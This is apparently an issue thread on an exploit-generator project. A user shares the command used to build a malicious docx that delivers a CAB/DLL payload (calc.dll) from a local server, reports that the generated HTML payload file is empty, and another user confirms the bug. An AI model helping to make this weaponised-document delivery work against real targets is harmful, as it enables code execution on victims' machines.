The cab with dll doesn't work

[RCECoder]

Hi,

I used
python generator.py -u http://127.0.0.1 -P test\calc.dll --host

To generate the exploit. When opening the docx to test locally, here is what showing up on the payload server

What could be wrong? or am I missing something?

Updated to add more info.
Why is the HTML file generated (the one with random name in \srv) is 0 bytes in size. Is this normal?

I confirm this issue, resulting HTML file is null
